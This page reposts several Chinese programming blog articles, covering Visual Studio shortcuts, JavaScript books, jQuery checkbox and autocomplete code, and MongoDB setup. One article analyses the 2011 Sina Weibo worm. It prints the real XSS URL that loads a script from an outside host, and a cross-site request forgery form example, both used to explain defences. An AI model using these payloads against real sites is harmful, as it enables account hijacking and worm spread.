[转载]提高编码效率的一些经验:Visual Studio快捷键

mikel阅读(802)

[转载]提高编码效率的一些经验 – rain.zhou – 博客园.

分享一下我的编码习惯,大家有更好的方法欢迎留言补充

使用快捷键alt+shift+F10/ctrl+.

这是我很喜欢用的一个快捷键,可以直接添加引用

比如我们要用线程的Sleep方法,但是默认代码里面是没有Thread类的引用的,如果这时我们再滑动鼠标到上面去添加using System.Threading;就太慢了…

我们可以直接打出Thread然后按这个组合键然后直接按回车就帮我们自动添加了引用

谢谢Vincent Yang我才知道原来alt+shift+F10有个更方便的快捷键(ctrl+.),这样就更方便了

使用alt矩形选择

当我们在cs代码里拼html字符串的时候用的比较多,或者拼json字符串的时候

当我们按住alt然后拖动鼠标的时候会选择一个矩形选择区

比如这样的代码:

JS = @” var store = new Ext.data.JsonStore({
fields:[‘name’, ‘siwang’,’chusheng’,’biandong’],
data: [
{name:’
+ (year2++) + @”年’,siwang: + c1.ToString() + @”,chusheng: + b1.ToString() + @”,biandong: + d1.ToString() + @”},
{name:’
+ (year2++) + @”年’,siwang: + c2.ToString() + @”,chusheng: + b2.ToString() + @”,biandong: + d2.ToString() + @”},
{name:’
+ (year2++) + @”年’,siwang: + c3.ToString() + @”,chusheng: + b3.ToString() + @”,biandong: + d3.ToString() + @”},
{name:’
+ (year2++) + @”年’,siwang: + c4.ToString() + @”,chusheng: + b4.ToString() + @”,biandong: + d4.ToString() + @”},
{name:’
+ (year2++) + @”年’,siwang: + c5.ToString() + @”,chusheng: + b5.ToString() + @”,biandong: + d5.ToString() + @”},
{name:’
+ (year2++) + @”年’,siwang: + c6.ToString() + @”,chusheng: + b6.ToString() + @”,biandong: + d6.ToString() + @”},
{name:’
+ (year2++) + @”年’,siwang: + c7.ToString() + @”,chusheng: + b7.ToString() + @”,biandong: + d7.ToString() + @”},
{name:’
+ (year2++) + @”年’,siwang: + c8.ToString() + @”,chusheng: + b8.ToString() + @”,biandong: + d8.ToString() + @”},
{name:’
+ (year2++) + @”年’,siwang: + c9.ToString() + @”,chusheng: + b9.ToString() + @”,biandong: + d9.ToString() + @”},
{name:’
+ (year2++) + @”年’,siwang: + c10.ToString() + @”,chusheng: + b10.ToString() + @”,biandong: + d10.ToString() + @”}
]
});
;

我们在改完前面的代码后可以直接矩形选择然后复制到后面

按住ctrl点击全选整个单词,相当于双击全选

这个比较简单,在我们连续替换变量的时候用的比较多,复制一个变量然后一直按住ctrl,点要被替换的变量,然后再按下C,很方便

要习惯使用home和end键

比如我们的光标停留在一行代码的中间,我们想复制这行代码,可能大部门人都是得用鼠标,这时其实我们可以先按一下home键然后左手按住shift,再按一下end键,

因为home和end键在键盘上是挨在一起的所以很方便

home=>按住shift=>end 然后就可以ctrl+c了

其他时候用home和end直接切换到行首行末也是很方便的

使用shift+del整行删除

这个也是我很喜欢的一个快捷键,直接删除光标所在的那一行代码

我在该代码的时候,比如复制了一行代码从=后面开始改,直接编写新代码,然后回车然后一直按shift+del把后面的垃圾代码全部删掉,这样我们不用动鼠标去选再删,省了很多时间

使用代码段

编写for或者foreach的时候我们可以只编写一个for或者foreach然后连续按两下tab就会自动生成for和foreach循环

其他的代码段也有很多,for和foreach是比较常用的吧

使用带小红帽的键盘

对我们编码人员来讲最烦的就是双手放在键盘上编码的时候,有些操作需要抬起手去用鼠标操作,很浪费时间

所以我们可以用带小红帽的键盘,比如thinkpad的笔记本,当你用一段时间后,你就会发现小红帽可以相当于80%的鼠标

比如我们编码的时候想把光标移动一下,用小红帽完全可以胜任,只要不是进行高精度的鼠标操作,不过我也不插鼠标用小红帽玩过dota稍微有点费劲呵呵

现在我的同事有5,6个新买笔记本的都是买的thinkpad…呵呵有点打广告的嫌疑哈,不过确实方便

设置输入法

1)标点符号设置成英文

我现在用的时候qq的拼音输入法,现在应该用这个跟搜狗的比较多吧

我一般把输入法的标点符号设置成英文的,因为编码的时候是用英文的标点,所以在我们切成中文输入一些注释然后继续输入代码的时候打个.可以直接出来

2)勾上把输入窗口已存在的结果输入

输入法还有一个就是切换输入法时把输入窗口已存在的结果输入,这个都应该勾上,很多时候我们写代码的时候忘了切成英文,所以打了一个new却出现的 是中文的输入法,这时如果勾上了已经存在的结果输出的话,我们直接切回英文输入法,这个new会直接输出到代码里,不用再去打一个new了

代码生成

未来编程的趋势吧,从petshop时代我们开始使用代码生成底层类,现在直接用linq感觉更方便了

1)根据数据库文档生成数据库

不知道大家做项目是怎么个流程,我们是设计数据库文档,然后根据数据库文档直接生成数据库

以后有机会再写篇文章吧,简单介绍下我的实现方式:

首先我们的数据库文档都是这种格式的word文档:

表名是标题然后下面是一个表格包括字段中文名和英文名等

然后我们可以把这个word文档转成html格式,然后用HtmlDocument类来解析这个html

这样生成的数据库字段都是用中文说明的

中文说明很重要,因为有这个我们才能生成带字段注释的底层和生成apsnet页面

我是先做的底层和页面生成,然后再建数据库的时候每个字段都加说明很麻烦才想的办法做数据库生成…呵呵人都是被逼的啊

暂时先想这么多ctrl+j的智能提示地球人都知道的就不说了

欢迎大家补充

[转载]说说我的web前端之路,分享些前端的好书

mikel阅读(893)

[转载]说说我的web前端之路,分享些前端的好书 – 聂微东 – 博客园.

WEB前端研发工程师,在国内算是一个朝阳职业,这个领域没有学校的正规教育,大多 数人都是靠自己自学成才。本文主要介绍自己从事web开发以来(从大二至今)看过的书籍和自己的成长过程,目的是给想了解JavaScript或者是刚接 触JavaScript的朋友,介绍如何通过循序渐进的看书来学习javascript。
一. 入门级 :就是有一定的基础(比如最常见的HTML标签及其属性、事件、方法;最常见的CSS属性;基础的JavaScript编程能力),能够完成一些简单的WEB前端需求。

推荐:《JavaScript dom 编程艺术》

理由:此书绝对是入门的好书,本人也是在接触JS一段时间后才看的这本书。此书从JS的历史 – JS基础语法知识 – DOM介绍和简单的使用。现在这本书已经出了第二版,需要的朋友直接第二版就行。

评价:简洁,实用,详细,易懂,书不厚,相信很快就能看完。

当然,作为入门书的话《JavaScript权威指南》也非常强 大(这名字可不是白起),其实说起来也惭愧,本人至今都没有买过这本书,最开始是因为这个书实在是小贵,只好借朋友的看,不过也就看了个周末。网上关于此 书的评价很多,意思大概都是说这书就是一个JS的文档手册,如果你有闲钱,并且习惯翻书查询,那么就来一本吧。顺便提醒一句,这本书的第六版英文版已经出 来了。
二.初级开发:本人以前的DEV leader兼恩师这么说过:“初级开发人员的标志就是需要在中级和高级开发的指导下完成工作”。首先不要苛责代码的对错严谨,毕竟每个程序员都有这样的一个过程,就是这个级别的特征。

推荐:《javascript高级程序设计》(第二版)

理由:这本书的作者是 Nicholas C.Zakas ,博客地址是 http://www.nczonline.net/ ,大家可以去多关注,雅虎的前端工程师,是YUI的代码贡献者,可想而知这本书得含金量,他出的书都广受好评。这本书已经出了第二版,而且与第一版相比内 容更新很大,直接第二版就行。不要被书名的“高级”唬住,只要有JS基础语法知识和DOM基础知识就行,而且本书开始阶段还是介绍JS和DOM的语法知 识。

评论:重点推荐一下第五章(类型),第六章(OOP),第七章(匿名),多看几遍,至少要完全 看明白,能为以后进阶打好基础,个人感觉这几章是本书的精华所在。这本书在入门的时候看节奏会快了一些,所以不建议初学者看,可是相对于我一会要介绍的书 又算基础一点,所以建议先阅读完这本书,对浏览器兼容和语法知识有一定了解之后再往下阅读。


推荐:《高性能 JavaScript》《JavaScript语言精髓》

理由:本人先看的是《高性能JS》,这本书还是 Nicholas C.Zakas 所著,经典之作,书中大量举例了各种不同写法的JavaScript在浏览器中的性能情况,对规范JavaScript代码和提升性能有很好的帮助,最后 提到了很多工具和性能测试的方法,都是灰常灰常有实际作用的,看得出作者很厚道(好吧,偶承认了,偶是他的粉丝)^_^,记忆最深的一句话:”如果 JavaScript 执行了几秒钟,那么很可能是你做错了什么”;;

《语言精髓》和《高性能》有少部分关键知识都重复提到了,可是为什么要推荐这本书,因为本书对JS语言本质的描述太棒了,这是一本介绍 JavaScript语言本质的权威书籍,从 “对象”,“函数”,“继承”,“数组”等等多个重要知识着手。我补一句话 – 本书需要反复阅读。

评论:都是好书,都很薄,而且所说的内容只要有基础都不难。相信读完之后会对JS又有新的认识,且对以后的代码规范和浏览器差异性等高级问题有了新的认识,如果读完之后会有种被灌顶的感觉,那么恭喜你,你离中级不远了。
三.中级开发:还是本人以前的DEV leader兼恩师这么说过:“中级开发人员的标志就是在高级开发或架构师较少的指导下高质量的完成工作,并对产品或项目有自己的想法与理解”。

强烈推荐:《JavaScript DOM高级程序设计》

理由:此 书灰常犀利,本人一共看了近半年的时间,已反复阅读多次。说实话,这本书的翻译一般,代码也有少许错误,可是这不影响这本书的强大,通过学习本书,可以理 解一个JS的库如何产生,自己动手写一个简单的自己的JS库,如果你打算研究其他的JS库或者正在研究其他的JS库,那么这本书会使你的理解达到新的高 度,进阶高级必读,写库必读。

评论:异常强大的一本JS巨作,此书不薄,强烈推荐。现在已经买不到正版了,我这里有电子版,有需要的朋友留下邮箱,晚上发给你们。


强烈推荐:《JavaScript设计模式》

理由:异 常生猛的一本书,看书名带“设计模式”就知道,这本书想要读明白有点困难,本人自己感觉,只要某书一带“模式”这两字,反正就简单不了。本书对JS的“模 仿接口”,“封装”,“继承”,“链式调用”,“工厂模式”等各种具体的设计模式及其在JavaScript 语言中的应用进行了详细的介绍,运用设计模式使代码更模块化、更高效并且更易维护。

评论:书不厚,可真的是内容丰富且高深,强烈建议购买。

推荐:《高性能网站建设指南》《高性能网站建设进阶指南》

理由:在读完前几本书之后我们对前端的性能和自己的代码的效率已经达到相当的高度了,然后我们在接触一些前端工程师的一些精髓。本书对HTTP请求,CDN,内容缓存和一些web开发中常见问题进行讲解。

评论:书都不厚,可是说的都是比较实用的东西,可是用不用的上还得看个人和项目需要了。

————————————————————————————————————————————————————————————————————————-

以上就是本人一路走来看的JS相关书籍,朋友会问,为什么就只介绍的中级的,那么高级看的书在哪?有木有高级的书?进阶高级程序员之路又在哪?说下我自己的看法和对年轻朋友的建议吧,说的不好或不对请原谅,其实我也才真正工作两年多:

1.主要是工作经验问题。达到一定程度以后真的合适的书很难找了,更多只有在工作中总结和积累。工作的越久碰到过的问题也就越多,^_^。所以一般说高级程序员一般都是至少都3年以上的工作经验,没办法,实践才出真理。

2.我觉得高级web前端灰常有必要总结一个自己的JS库,不管大小,总归有一套自己的东西(嘿嘿,如果认真的实践过《JS DOM高级》的内容,估计有一套JS库的原型了)。

3.前端有必要懂得和熟悉一本服务端语言,其实计算机语言很多语法大致都差不多,不同的就是内置的方法和属性,所以去熟悉一门语言并不难。为什么有必要,因为精通一门语言还是不够的,多学一门语言的好处我就不啰嗦了,大家可以看看这篇文章 – 《门门通还是精一门》

4.许多年轻人都有眼高手低的毛病,我也一样,例如,有的人认为自己编起程序来很顺手,不用查手册,说写就写,很熟练,几乎什么程序都能编出来,就认为自己对这种语言很精通了。其实对于一门语言的掌握程度是不可深测的,对于语言掌握其实是一个无止尽的过程,没有终点。编写时间的长短和编写熟练程度,仅仅是精通语言表现的一个方面。更重要的是程序员要掌握这个语言的适用范围,整体构架,语法规则、功能分类等基础理论方面的知识,并能利用这方面的知识,用最科学的方法去解决现实中各种项目的各个问题。

终于在6月29日写完了,完成了对自己的要求 – 一个月写一个较高质量的文章或技术分享。

最后,谢谢大家,祝大家工作愉快。

[转载]JQuery点击行(tr)实现checkBox选中,反选时移除和添加样式.

mikel阅读(816)

[转载]JQuery点击行(tr)实现checkBox选中,反选时移除和添加样式. – ゞ追忆o0ゞ – 博客园.

很开心大家能和我这个“菜鸟”一起互动,也感谢大家和我一起思考,看了大家的代码也有了不少启发,看了jifsu兄的代码,自己也试测了一下,确实比我自己写的那种方式简单的多,代码的可读性也大大增强不少,在这个基础上,我又添加了一个全选和反选时的效果。

用到了三元运算符,和一个自定义的函数。

点击行时效果代码:

 $("tr").live("click", function () {
     if ($(this).hasClass("bgRed")) {
         $(this).removeClass("bgRed").find(":checkbox").attr("checked", false);
     } else {
                $(this).addClass("bgRed").find(":checkbox").attr("checked", true);
            }
 });

反选按钮时的效果代码:

 $("#btnReverse").click(function () {
                //遍历.column 下的 checkbox;
                $(".column :checkbox").each(function () {
                    //给当前勾选的checkbox取反;  其中!$(this).attr("checked")是先获取他的属性,再取反,充当第二个参数;
                    //attr方法只有一个参数时是取值,两个参数时是设值;
                    $(this).attr("checked", !$(this).attr("checked"));
                    $.GetCheck($(this));  //调用自定义的函数.

                });

            });

自定义的函数代码:

//注意,它的位置是和$(function(){ })平级的.
 jQuery.extend({

            GetCheck: function (status) {
                $(status).attr("checked") ? $(status).parent().parent().addClass("bgRed") : $(status).parent().parent().removeClass("bgRed");
            }
        });

如果 $(status).attr(“checked”) =true; 就给行添加样式 addClass(“bgRed”); 如果$(status).attr(“checked”)=false;就把样式移除;

[转载]Web安全,以新浪微博“郭美美”蠕虫为例

mikel阅读(968)

[转载]Web安全,以新浪微博“郭美美”蠕虫为例 – 问天 – 博客园.

昨晚(2011/06/28)新浪微博也出现“黑客”攻击蛮有代表性;网站上流行的XSS( Cross-Site-Script) / XSRF ( Cross-site request forgery ) 往往是被web开发者忽视的,这里记述一下相关的事情。

先说新浪微博。

昨天的攻击情况介绍可以参考:
* http://soft.yesky.com/security/156/30179156.shtml

昨晚的攻击漏洞根源其实很傻,被用于攻击的URL(当然这个URL现在不工作了)是:
* http://weibo.com/pub/star/g/xyyyd”><script src=//www.2kt.cn/images/t.js></script>?type=update

很显然,/pub/star/g/ 后面的字符串会被新浪内部write过,变成类似:
* http://weibo.com/pub/star.php?g=xyyyd”><script src=//www.2kt.cn/images/t.js></script>?type=update

的玩意,然后star.php竟然会把querystring中g的值直接显示到页面中,相当于 weibo.com 在自己的页面中嵌入了一个来自于 2kt.cn的js脚本。

这种是相当低级的注入攻击,有做web开发经验的同学都应该懂;应该说,新浪微博遭遇的这次攻击的根源还跟XSS / XSRF 这些“高级”玩意完全没有关系。

weibo.com的页面被嵌入第三方js之后,这个js做的就是 XSRF去完成各种发推/关注/私信的操作,但从安全的角度看,这些我认为已经不重要了,这次的攻击根源仅是最低级的页面注入。

要避免这样的问题,在页面模板中,所有的变量输出,默认都应该做 HTML encode:

<%=Request.QueryString[“qry”] %>

默认就应该对输出的值做html encode,相当于:

<%=HttpUtil.HtmlEncode(Request.QueryString[“qry”]) %>

目前新web框架的模板引擎基本默认都会对变量页面输出做html encode;这样注入的问题都会被避免。

以Razor为例:
<div>
@Model.UserName
</div>

默认相当于:
<div>
<%=UttpUtil.HtmlEncode(Model.UserName) %>
</div>

至于连模板都没有用,直接拼接字符串输出html的做法,就彻底无语了。

====== XSRF / XSS ======
这样的攻击方式才相对“新颖”一些。

===== HTTP Get =====
假设网站存在可能导致用户数据改变的接口,如:
* http://dummydomain.com/update_nick.aspx?nick=Stupid

那么,第三方网站可以直接将上述URL作为一个img标签的src,使得用户在访问的时候自动去获取此页面,造成昵称被改。

这里的问题根源是接口定义违反了HTTP的推荐设计。

一切HTTP Get操作,都不应该涉及用户数据的修改;必须强制使用为POST,以避免数据被无意/恶意修改。

===== HTTP Post =====
假设修改昵称的接口变成:
* http://dummydomain.com/update_nick.aspx

用户必须通过form提交才可能可以修改数据,比方说:
<code html>
<form action=”http://dummydomain.com/update_nick.aspx” method=”post”>
<input type=”text” name=”nick” value=”” />
<input type=”submit” />
</form>
</code>
这样的设计实际上也还是会有问题的,比方说,攻击者可以在 http://attackerdomain.com/clickme.html 里面写:

<code html>
<form action=”http://dummydomain.com/update_nick.aspx” method=”post”>
<input type=”hidden” name=”nick” value=”Stupid” />
<input type=”submit” value=”Click Me!!” />
</form>
</code>
用户在访问 attackerdomain.com 的时候,便有可能被误导去点击,然后造成自己在 dummydomain.com 的数据被修改。

在这样的场景下,无论接口是Get还是Post,都无济于事;这类攻击是被称为 XSRF: Cross-site request forgery。

===== XSRF =====
相比起页面注入,Web开发者对于XSRF的认识还不够;但它也是可以防范的。

首先,要确保所有的涉及数据更新的操作都是经过HTTP Post。

然后,服务器端强制要求所有 HTTP Post都必须包含一个 _XSRF 的参数;其值必须跟Cookie中的同名Cookie相同,比方说:

<code html>
<form action=”http://dummydomain.com/update_nick.aspx” method=”post”>
<input type=”hidden” name=”_XSRF” value=”secret_value” />
<input type=”text” name=”nick” value=”” />
<input type=”submit” />
</form>
</code>

当 攻击者企图从 http://attackerdomain.com/clickme.html 页面提交资料去 http://dummydomain.com/update_nick.aspx 时,浏览器发送的是 dummydomain的 cookie;而这个cookie的值,是attacherdomain.com所无法获得的,也就是说,它无法伪造:

<code html>
<form action=”http://dummydomain.com/update_nick.aspx” method=”post”>
<input type=”hidden” name=”_XSRF” value=”Attacher can’t know this value!” />
<input type=”hidden” name=”nick” value=”Stupid” />
<input type=”submit” value=”Click Me!!” />
</form>
</code>

有安全意识,或者说,先进的web框架( Django / Tornado / RoR 等等 ),默认都强制要求POST提交必须有 XSRF 检查。

微软的技术,基本都是跟在别人后面的,目前似乎还是的开发者手动去处理,ASP.NET MVC 可以参考:
* http://weblogs.ASP.NET/srkirkland/archive/2010/04/14/guarding-against-csrf-attacks-in-asp-net-mvc2.aspx

如果ASP.NET开发者没有安全意识,专门去给所有页面添加XSRF的检查,那么做出来的网站,都可能受到 XSRF 攻击。

大家有兴趣的话可以去挑各种asp.net开发的网站去试;或者说,想想自己做过的网站是否会受到此种攻击。

🙂

====== Web 安全的根基 ======
Cookie / Same origin policy(简单的说,就是防止AJAX跨域)是 Web安全的根源。

而这两点,是由客户端浏览器所保证的,如果客户端实现得不好,域名A可以访问域名B的cookie值,或者说发起AJAX调用,那么所有服务器端的安全措施都是白搭。

Cookie在HTTP中是明文传输的,是可能会被中间人窃取然后伪造的;而cookie又是Web用户认证信息的根源,一旦Cookie泄露,攻击方就可以为所欲为。

所以,很多网站(比方说, twitter / gmail)默认都在强制把所有的页面传输转移去 HTTPS;以杜绝中间人的问题。

千里之堤,溃于蚁穴;根基不牢靠,上层所做的任何安全措施,都可能被攻破。

这里的关键,是要有一个可靠的根基,跟Web技术没有直接关系,Native程序也会有同样性质的问题。

[转载]仿百度搜索时的下拉列表(jQuery实现)

mikel阅读(969)

[转载]仿百度搜索时的下拉列表(jQuery实现) – luckyadam – 博客园.

[title]

当我们使用百度或是谷歌进行搜索时,只要输入一个字母就可以产生一个下拉列表,并且可以通过键盘上下键来控制列表项的选择。最近在项目中也碰到了类似的情况,在文本框中输入某个字母就可以出现一个下拉列表,展现从数据库里搜索过来的结果。

先说一下我的实现思路吧,当用户在文本框中输入时,可以利用ajax方式将文本框内内容传给后台的某个页面,在那个页面中经过处理后将产生的结 果(这里的结果是一个字符串数组)再获取过来在前台呈现。有了思路后就开始考虑怎么去具体实现吧。首先要使用ajax的话,就想到可以使用JQuery提 供的$.post()方法,这个方法可带4个参数,分别是:

·url,请求的页面URL地址;

·data(可选),作为HTTP消息的实体内容发送给服务器;

·callback(可选),载入成功后的回调函数,自动将请求结果和状态传递给该方法;

·type(可选),服务器端返回的数据格式,可以是:xml、html、script、json等。

好,现在对$.post()方法有了一定的了解,现在就可以考虑这个方法该怎么来写了。在我的项目中,请求的URL地址是@Url.Action(“GetTags“) (由于是ASP.NET MVC架构,地址是由Routing配置产生的,这个转义到前台就是一个普通的URL地址),需要传送的是ID为newTag的文本框中的值,所以第二个 参数为{pinyins: $(“#newTag”).val()},这里的pinyins是由后台定义的。第三个参数callback是处理请求成功后要做的事,暂且命名为 pinyinCallback,第四个参数设为’json’,即数据格式为一个JSON对象。这样的话,这个ajax请求可以写为:

$.post('@Url.Action("GetTags")', { pinyins: $("#newTag").val() }, pinyinCallback, 'json');

但是如果用户每输入一个字母就立即往服务器传的的话,服务器的承载就会过大,于是考虑可以将每次请求延迟一秒发送,于是发送请求的方法可以这样定义:

function pinyinOption() {
         var t = setTimeout(function () {
             $.post('@Url.Action("GetTags")', { pinyins: $("#newTag").val() }, pinyinCallback, 'json');
         }, 1000);
 
     }

  现在要考虑的就是这个方法在何时调用。既然是以用户输入结果来查询的,那么可以考虑JQuery的keyup事件,可以在文本框(id为newTag)的keyup事件触发后就调用之前定义的方法。但是又考虑到这个功能中可以通过键盘中上下键来控制列表中的选项,所以这个keyup事件可以这样来定义:

$("#newTag").keyup(function (e) {
             if (e.keyCode != 40 && e.keyCode != 38) {
                 currentTxt = $("#newTag").val();
                 pinyinOption();
             }
         }).focus(function () {
             this.select();
         });

其中keyCode值38、40分别代表上键和下键。currentTxt记录的是当前文本框的内容。

  当请求成功后的回调函数pinyinCallback该做什么呢?这个回调函数该做的应该有这些事,首先要把请求来的数据在前台呈现出来,这样就需要创建一些新的DOM元素来装这些内容。就不废话了,直接上代码吧:

Html代码:

<div class="mb20 pr f14 ff" id="tagDiv">
     <p><span>新标签</span> @Html.TextBox("newTag", null, new { style = "border: 1px solid #555;height: 20px;", autocomplete ="off"})
             <input type="submit" value="添加" /><span>@ViewBag.Info</span></p>
  </div>

js代码:

var $resultDiv = $('<div id="resultDiv" class="pa f12 ff"></div>');
     var $resultUl = $('<ul id="resultUl"></ul>');
     var $resultLi = [];
     var currentTxt;
 
     function pinyinCallback(data) { 
         $("#resultDiv").show();
         $resultUl.html("");
         for (var i = 0; data[i]; i++) {
             $resultLi[i] = $("<li></li>");
             $resultLi[i].html(data[i]);
             $resultUl.append($resultLi[i]);
         }
         if ($resultUl.html() == "") {
             $("#resultDiv").hide();
         }
         $resultUl.appendTo($resultDiv);
         $resultDiv.appendTo($("#tagDiv"));
 }

目前这个回调函数只是将请求回来的数据添加到创建的id为resultDiv的容器内,再将这个容器添加到页面中已存在的id为tagDiv的容器中。而为了美观一点并为了实现点击一个列表项就提交的功能,这个回调函数还可以做这些工作:

js代码:

 $("#resultDiv li").hover(function () {
           $(this).addClass("esultDivLiHover");
         }, function () {
           $(this).removeClass("esultDivLiHover");
  });
 $("#resultDiv").blur(function () {
          $("#resultDiv").hide();
 });
 $("#resultDiv li").click(function (event) {
          $("#newTag").val($(this).text());
          $("form").submit();
 });

css代码:

 #resultDiv
  {
     left: 47px;
     border: 1px solid #000;
     background: #fff;
     z-index: 100;
     width: 200px;
     
  }
 #resultDiv li
  {
     cursor: default;
     padding: 2px 4px;
  }
 .esultDivLiHover
  {
     background: #cfcfcf;
  }

在列表项被点击后就提交一次表单,并把当前文本框的内容设置为列表项的内容。

  接下来就要实现键盘上下键控制的功能了,这样,全部的回调函数代码为:

 function pinyinCallback(data) { 
         $("#resultDiv").show();
         $resultUl.html("");
         for (var i = 0; data[i]; i++) {
             $resultLi[i] = $("<li></li>");
             $resultLi[i].html(data[i]);
             $resultUl.append($resultLi[i]);
         }
         if ($resultUl.html() == "") {
             $("#resultDiv").hide();
         }
         $resultUl.appendTo($resultDiv);
         $resultDiv.appendTo($("#tagDiv"));
         $("#resultDiv li").hover(function () {
             $(this).addClass("esultDivLiHover");
         }, function () {
             $(this).removeClass("esultDivLiHover");
         });
         $("#resultDiv").blur(function () {
             $("#resultDiv").hide();
         });
         $("#resultDiv li").click(function (event) {
             $("#newTag").val($(this).text());
             $("form").submit();
         });
         //键盘上下键控制
         var index = -1;    //标记上下键时所处位置
 
         document.documentElement.onkeydown = function (e) {
             e = window.event || e;
             if (e.keyCode == 40) {  //下键操作
                 if (++index == $("#resultDiv li").length) {  //判断加一操作后index值是否超出列表数目界限
                     index = -1;             //超出的话就将index值变为初始值
                     $("#newTag").val(currentTxt);    //并将文本框中值设为用户用于搜索的值
                     $("#resultDiv li").removeClass("esultDivLiHover");
                 }
                 else {
                     $("#newTag").val($($("#resultDiv li")[index]).text());
                     $($("#resultDiv li")[index]).siblings().removeClass("esultDivLiHover").end().addClass("esultDivLiHover");
                 }
             }
             if (e.keyCode == 38) {  //上键操作
                 if (--index == -1) {    //判断自减一后是否已移到文本框
                     $("#newTag").val(currentTxt);
                     $("#resultDiv li").removeClass("esultDivLiHover");
                 }
                 else if (index == -2) {     //判断index值是否超出列表数目界限
                     index = $("#resultDiv li").length - 1;
                     $("#newTag").val($($("#resultDiv li")[index]).text());
                     $($("#resultDiv li")[index]).siblings().removeClass("esultDivLiHover").end().addClass("esultDivLiHover");
                 }
                 else {
                     $("#newTag").val($($("#resultDiv li")[index]).text());
                     $($("#resultDiv li")[index]).siblings().removeClass("esultDivLiHover").end().addClass("esultDivLiHover");
                 }
             }
         };
     }

 OK,现在这个功能就差不多搞定了,在ie6下也是完全正常,不过还是有一些bug需要改进,另外这个方法还是有可以优化的地方吧。晒一晒效果图:

  希望明天又是美好的一天,又不正的地方还希望多多指出。

[转载]MongoDB搭建和简单操作(windows环境)

mikel阅读(1048)

[转载]MongoDB搭建和简单操作(windows环境) – 黑曜石 – 博客园.

昨天看到fish的MongoDB,但遇到不少问题,于是自己一步一步尝试,将遇到之问题和解决方法记录总结

再有就是快一年没更新博客了,不过本人天天打开博客园看各位的博文,就像公务员每天上班喝茶看报纸一样,习惯了。。。

尽量以后每月出个两篇文章吧,本人这一年没写博客就干了一个活,www.520.cn,请大家赏析,前台使用mvc2.0,spark引擎,Entity Framework,当然还有JQuery

这篇写完,这周再出个简单用C#操作MongoDB的增删改查,Demo将会以MVC+SPARK的方式出现,哎,为什么没几个人用spark,这么好的东西,比什么razor好多了,只是没有智能提示而已~

您可以在这个地址下载到MongoDB: http://www.mongodb.org/downloads
本人环境32位win7旗舰片,因此下载到mongodb-win32-i386-1.8.2
在下载页的下方官方有提供各种开发语言的驱动,本人C#,直接移位https://github.com/samus/mongodb-csharp下载即可
一,安装mongoDB
1,解压mongodb-win32-i386-1.8.2至E:\MyProgram\mongodb-win32-i386-1.8.2(你可以按照自己的路径来,路径中最好不要有空格,要不然麻烦)
2,新建文件夹C:\DATA\DB,这是mongoDB的默认数据文件夹,你也可以在文件夹E:\MyProgram\mongodb-win32-i386-1.8.2新建一个文件夹data作为mongoDB的数据库文件存储目录
3, 进入CMD,运行命令E:\MyProgram\mongodb-win32-i386-1.8.2\bin\mongod.exe -dbpath E:\MyProgram\mongodb-win32-i386-1.8.2\data,OK,mongoDB已经安装成功并已经在运行中了,你将会看 到如下:

此时是mongoDB的运行状态,你可以按Ctrl+C结束运行状态或者直接关掉CMD结束运行。
二,运行mongoDB时的错误与处理
完成安装后,结束掉所有CMD窗口,然后进行如下操作:
1, 运行E:\MyProgram\mongodb-win32-i386-1.8.2\bin\mongo,可能会报错误:couldn’t connect to server 127.0.0.1 shell/mongo.js,原因是mongod.exe没有启动,
2,既然没启 动,那咱就启动呗,运行E:\MyProgram\mongodb-win32-i386-1.8.2\bin\mongod,可能会报错 误:dbpath (/data/db/) does not exist, terminating,看这样子,本人觉得还得在data文件夹下再建一个db文件夹啊,如此即新建一db文件夹,再运行mongod命令,结果提示一 样,不知道怎么搞啦,咱google吧
找到文章http://www.mongodb.org/display/DOCS/Starting+and+Stopping+Mongo
说“To start Mongo in default mode, where data will be stored in the /data/db directory (or c:\data\db on Windows), and listening on port 27017”,哦,原来默认的文档路径在c:\data\db,啥也不说,直接按这个建文件夹,再次运行命令mongod,OK了,启动成功,这个命令窗 口不能关闭,否则mongoDB就退出了

三,使用mongo命令
保持mongod命令窗口的运行状态,再新开一命令窗口
输入E:\MyProgram\mongodb-win32-i386-1.8.2\bin\mongo,出现
MongoDB shell version:1.8.2
connecting to:test
>
OK,连接成功。
1,show dbs  显示数据库列表
2,use Northwind 进入Northwind数据库,大小写敏感
3,show collections 显示数据库中的集合
4,db   用于查看当前所在的数据库
5,db.Customer.count() 查看集合Customer的记录总数
6,db.Customer.findOne({“_id”:”1″}) 查看CustomerId=1的记录

新增数据
1,use MyTest,这个数据库不存在,无所谓,mongo会创建,
MongoDB在使用前,并不要求您事先创建好相应的数据库,设计数据表结构!
在MongoDB中,没有【表】的概念,取而代之的是【集合】,也没有【数据记录】的概念,取而代之的是【文档】,我们可以把【文档】理解成一个【对象】,任意的对象,甚至可以有复杂的嵌套层次。
因此,我们不用再写代码从【数据表字段】到C#类的【属性,字段】的转换了,现在直接就可以读写整个对象了。
而且MongoDB不支持Join操作,所以,如果有【关联】操作,就需要你自己来处理
2,item={“Key”:”1″,”text”:”wokao”,”number”:3}
3,db.table1.insert(item),mongo将建立集合table1,并将item插入,完成了新增加数据库的工作
4,db.table1.find()显示table1中的数据,MongoDB的文档使用的是一种称为BSON格式的对象,与JavaScript中的JSON类似
5,额外的,输入item1={“Id”:5,”str”:”asdfasdf”},再插入db.table1.insert(item1),再用find()命令看,也插入成功了~,注意到结构和item不一样!但不建议这样做。
注意到:【每个文档有一个名为 “_id” 的成员】,我可没有定义啊。
其实,MongoDB会为每个文档都创建这样一个文档成员,我们指定的 “key”, “id” 对于MongoDB来说:它们并不是【文档的主键】,MongoDB只认 “_id”,你可以指定,但如果不指定,MongoDB就自动添加。

修改数据
1,var t=db.table1.findOne({“Id”:5}),获取一条记录
2,t.str=”wokao”
3,db.table1.update({“Id”:5},t)

删除数据
db.table1.remove({“Id”:5})

查找数据
上面已经有find和findOne命令,即用于查询
db.table1.find()
MongoDB的查询条件中,并没有 >, <, >= , <= 这些运算符,而是使用 “$lt”, “$lte”, “$gt”, “$gte”

新建表
db.MyTest.table2.save({})

删除表
db.table1.drop()或db.runCommand({“drop”,”table1″})

删除数据库
db.runCommand({“dropDatabase”: 1}),此命令只能删除当前数据库

获取服务端状态信息
db.runCommand({“serverStatus” : 1})

更多介绍查看
http://www.mongodb.org/display/DOCS/Home

https://github.com/samus/mongodb-csharp可以下到C#的示例

转载JQuery点击行 (tr)实现checkBox选中

mikel阅读(1100)

转载JQuery点击行 (tr)实现checkBox选中 – ゞ追忆o0ゞ – 博客园.

标题描述的有点不贴切,但希望大家能够明白,为了更形像的表达,我特意录制了一张GIF动画图片。

